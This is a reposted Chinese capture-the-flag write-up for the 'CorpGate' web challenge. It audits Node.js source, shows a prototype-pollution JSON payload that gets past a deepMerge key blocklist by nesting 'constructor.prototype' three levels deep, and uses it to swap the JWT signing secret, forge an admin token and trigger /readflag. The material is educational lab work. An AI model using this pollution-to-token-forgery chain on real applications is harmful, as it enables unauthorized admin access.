首页 > 基础资料 博客日记

WEB-2026DASCTF夏季赛-CorpGate

2026-05-31 13:00:02基础资料围观1

极客资料网推荐WEB-2026DASCTF夏季赛-CorpGate这篇文章给大家,欢迎收藏极客资料网享受知识的乐趣

题目:WEB-2026DASCTF夏季赛-CorpGate

前置知识:有关于js原型链的基础知识可以看看这篇文章:https://www.cnblogs.com/sabliercoder/articles/19174635

,jwt默认了解,下文如有错误,欢迎指出

一、题目描述:

一套全新的企业员工门户系统CorpGat

二、这里给了个源码附件,我们先进行源码审计:

【1】首先看jwt.js文件

function signToken(payload) {
  return jwt.sign(payload, config.signingState.active, {
    algorithm: config.jwtConfig.algorithm,
    expiresIn: config.jwtConfig.expiresIn
  });
}

很容易知道config.signingState.active就是jwt加密密钥,因为他这里const jwt = require('jsonwebtoken');引入了nodejs中专门用来处理jwt的库,后面的jwt.sign函数

的参数二就是jwt签名密钥,见下图,它module.exports = { signToken };把将这个函数暴露出去,供其他文件调用,而在auth.js文件的44行他也确实调用了用来签名加密

image-20260530131142469

image-20260531120622598

【2】在配置文件里面查找signingState.active,定位到config.js文件

const signingState = Object.create(null);
signingState.active = jwtConfig.secret;
signingState.version = 1;
signingState.lastRotation = Date.now();

这里把signingState.active赋值给了jwtConfig.secret,这不是重点

接下来是重点:

function configRefresh() {
  var rotation = {};
  rotation.source = 'vault';
  rotation.timestamp = Date.now();

  if (rotation.pending) {
    signingState.active = rotation.pending;
    signingState.version++;
    signingState.lastRotation = Date.now();
    return { rotated: true, version: signingState.version };
  }
  return { rotated: false, version: signingState.version };
}

(1)这里的rotation被赋值为一个对象{},并且signingState.active = rotation.pending;即它具有一个属性pending,很容易联想到如果rotation没有这个属性,就会通过__proto__访问它的原型对象,看看有无pending属性,若有,则直接应用,而rotation={},它的上级对象即object.protyte,这一点在浏览器console中可以简单验证,目前思路就是污染原型链,让rotation.pending为我们自己写的密钥,然后我们通过自己伪造的密钥来修改jwt的role为admin,从而访问受限的/admin路由

image-20260530132003568

(2)这里我的思路是先全局查找configRefresh()和pending,看看有没有什么线索,结果没有,于是随便翻翻,查找文件目录,发现了merge.js,看到文件名,应该就是for循环加merge合并污染了,但下面做了过滤,我们接下来就要绕过过滤

const BLOCKED_ROOTS = ['__proto__', '__defineGetter__', '__defineSetter__', 'constructor', 'prototype'];
const BLOCKED_KEYS = ['__proto__', '__defineGetter__', '__defineSetter__'];
const MAX_DEPTH = 6;

function isPlainObject(val) {
  return typeof val === 'object' && val !== null && !Array.isArray(val);
}

function sanitizeKey(key) {   #去点号
  return key.replace(/\./g, '');
}

function deepMerge(target, source, depth) {
  if (depth === undefined) depth = 0;
  if (depth >= MAX_DEPTH) return target;
  for (var rawKey in source) {
    var key = sanitizeKey(rawKey); 
    if (key === '') continue;   #空key跳过
    if (BLOCKED_KEYS.indexOf(key) !== -1) continue;
    if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;
    if (isPlainObject(source[rawKey])) {
      if (typeof target[key] === 'object' && target[key] !== null) {
        deepMerge(target[key], source[rawKey], depth + 1);
      } else if (typeof target[key] === 'function') {
        deepMerge(target[key], source[rawKey], depth + 1);
      }
    } else {
      target[key] = source[rawKey];
    }
  }
  return target;
}

module.exports = { deepMerge };

关键代码有两处:

const BLOCKED_ROOTS = ['__proto__', '__defineGetter__', '__defineSetter__', 'constructor', 'prototype'];
const BLOCKED_KEYS = ['__proto__', '__defineGetter__', '__defineSetter__'];

##BLOCKED_ROOTS过滤了5个,BLOCKED_KEYS过滤了3个,他们的差异就是constructor和prototype
    if (BLOCKED_KEYS.indexOf(key) !== -1) continue;
    if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;

解析:

【1】index0f()方法用来过滤BLOCKED_ROOTS以及BLOCKED_KEYS的,起到一个黑名单的作用,即不在黑名单里的就返回-1,也就是不在黑名单的不会执行continue重新进入for循环,会进行后面的merge合并,导致js原型链污染

image-20260530133721158

【2】typeof 操作符:这个操作符会返回一个字符串,表示其操作数的类型

(1)而typeof {}返回的是object,typeof {'sb':11}也返回object,即当前属性值是要是一个对象

(2)对于函数而言

console.log(typeof function(){}); // 返回function

绕过方法:这里其实要结合

这里的key是我们后面要污染pending属性用的payload,这里直接拿出来讲解一下:

{
  "notifications": {
    "digest": {
      "channels": {
        "constructor": {
          "prototype": {
            "pending": "sb"
          }
        }
      }
    }
  }
}

(1)对于if (BLOCKED_KEYS.indexOf(key) !== -1) continue;

这是绕不了的,如果 key 是 __proto__ 、 __defineGetter__ 、 __defineSetter__ 之一,直接跳过,也就是不会执行后面的deepmarge函数,导致我们的污染失败

  if (typeof target[key] === 'object' && target[key] !== null) {
        deepMerge(target[key], source[rawKey], depth + 1);

(2)对于

if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;

只有满足两个条件才会拦截,即depth 小于 3,并且 key 在 BLOCKED_ROOTS 中,才跳过

总结:__proto__永远用不了,但 constructor 和 prototype 在 depth ≥ 3 时可以绕过, 这就是为什么我们要把 payload 嵌套到 notifications.digest.channels (因为后面的服务端他自己的settiings刚好有这个,三层嵌套让我们来绕过)里面——为了凑够 depth=3

经代码审计后面有deepMerge(user.settings, req.body);,即target是user.settings(即服务器默认用户配置),具体解析见下面的实际流程

(3)实际流程:

deepMerge(target, source, depth)

deepMerge(settings, payload, depth=0)
##先遍历我们payload的key
  key="notifications" → settings.notifications 存在且是对象 → 递归
  
  deepMerge(settings.notifications, payload.notifications, depth=1)
    key="digest" → settings.notifications.digest 存在且是对象 → 递归
    
    deepMerge(settings.notifications.digest, payload.digest, depth=2)
      key="channels" → settings.notifications.digest.channels 存在且是对象 → 递归
      
      deepMerge(settings.channels, payload.channels, depth=3)  ← depth=3
      
        key="constructor" → depth≥3,绕过BLOCKED_ROOTS!
        → target["constructor"] = Object(函数) → typeof === 'function' → 递归
        
        deepMerge(Object, {prototype:{pending:"sb"}}, depth=4)
          key="prototype" → depth≥3,绕过BLOCKED_ROOTS!
          → Object.prototype 是对象 → 递归
          
          deepMerge(Object.prototype, {pending:"sb"}, depth=5)
            key="pending" → 不是对象 → 直接赋值
            → Object.prototype.pending = "sb"
于是就污染成功了

【2】对于deepmerge函数,全局搜索看看,在/api/settings路由下面,这里也是我们等下要通过这个api接口发包用来污染object.prototyte的
image-20260530133046128

deepMerge(user.settings, req.body);

## user.settings (当前默认的设置对象)
req.body (我们POST 过来的 JSON 数据)

结合前面的,deepmerge用来合并res.body到setting中的(即我们的目的是合并没有的属性pending给所有对象的最终对象object.prototype,因为所有对象最终都继承于它)

【3】接下来去请求/api/settings路由

deepMerge(user.settings, req.body);
  res.json({ success: true, message: 'Settings updated', settings: user.settings })

image-20260530140556052

user.settings 的结构是:

{
"theme":"light",
"language":"en",
	"notifications":
{
"email":true,
"desktop":true,
	"digest":
{
"frequency":"daily",
"time":"09:00",
	"channels":
{
"slack":true,
"teams":false}
}
}
}

可以看到刚好嵌套了3层,notifications到digest到digest,刚好满足绕过条件

所以payload:

{
  "notifications": {
    "digest": {
      "channels": {
        "constructor": {
          "prototype": {
            "pending": "sb"
          }
        }
      }
    }
  }
}

2c733a0d-44bf-47cf-84aa-d6725ced86af

可以看到污染成功,所有对象都继承了object.prototype的pending属性

【4】接下来要触发 /api/system/healthcheck , configRefresh() 中的 signingState.active = rotation.pending 就会从原型链读到 pending = "sb" ,把签名密钥改成 "sb" ,然后你就可以用 "sb" 伪造 admin JWT从而访问/admin路由

在config.js文件下:

function configRefresh() {
  var rotation = {};
  rotation.source = 'vault';
  rotation.timestamp = Date.now();

  if (rotation.pending) {
    signingState.active = rotation.pending; 
      
      #当rotation.pending不为空,用来更新密钥,等下就可以用我们的密钥sb来签名了
    
      signingState.version++;
    signingState.lastRotation = Date.now();
    return { rotated: true, version: signingState.version };
  }
  return { rotated: false, version: signingState.version };
}

全文搜索 configRefresh,再次定位到user.js文件中

image-20260530141556854

定位到user.js文件,访问/api/system/healthcheck才可以触发configRefresh函数从而触发密钥更换,这也是非常坑

cd41306985b747d402060a8b06dec53f

注:jwt密钥替换用sb签名

image-20260530142803937

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVjZTNjNjhkLTgyNzYtNDU4YS05ZjE1LTgyZmIwZWJlMTQ0YiIsInVzZXJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3ODAxMTE0MzIsImV4cCI6MTc4MDE5NzgzMn0.zDFl2-ljmIlTaNYouJXh2jI5ipNNEFpqJ5N0jepDrAI

【5】接下来访问/admin ,服务器生成一个 reference

image-20260530143006461

05f678cea169cb24076d00cc1e51fd3f

在diagnostic.js文件里面:

router.post('/api/reports/execute', authMiddleware, adminMiddleware, (req, res) => {
  var ref = req.body.reference;
  if (!ref || typeof ref !== 'string') {
    return res.status(400).json({ error: 'Missing report reference' });
  }

  var entry = config.diagnosticStore[ref];
  if (!entry) {
    return res.status(404).json({ error: 'Invalid or expired reference' });
  }

  // Check TTL
  if (Date.now() - entry.created > entry.ttl) {
    delete config.diagnosticStore[ref];
    return res.status(410).json({ error: 'Reference expired' });
  }

  // Check one-time use
  if (entry.consumed) {
    return res.status(409).json({ error: 'Reference already consumed' });
  }

  entry.consumed = true;

  var output = 'Diagnostic failed';
  try {
    output = execSync('/readflag').toString().trim();
  } catch (e) {}

  res.json({ status: 'completed', report: output });
});

(1) var ref = req.body.reference;

我们通过访问/api/reports/execute,body传参reference来触发execSync('/readflag').toString().trim();执行获得flag

277bb0b5e4a060574c8cb912bdaec323

最后,谢谢大家的阅读,如果上文有错误的地方欢迎指出,本人也是刚学,可能也有不足之处

1779426651759


文章来源:https://www.cnblogs.com/dollaikun/p/20239184
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!

标签:

相关文章

本站推荐

标签云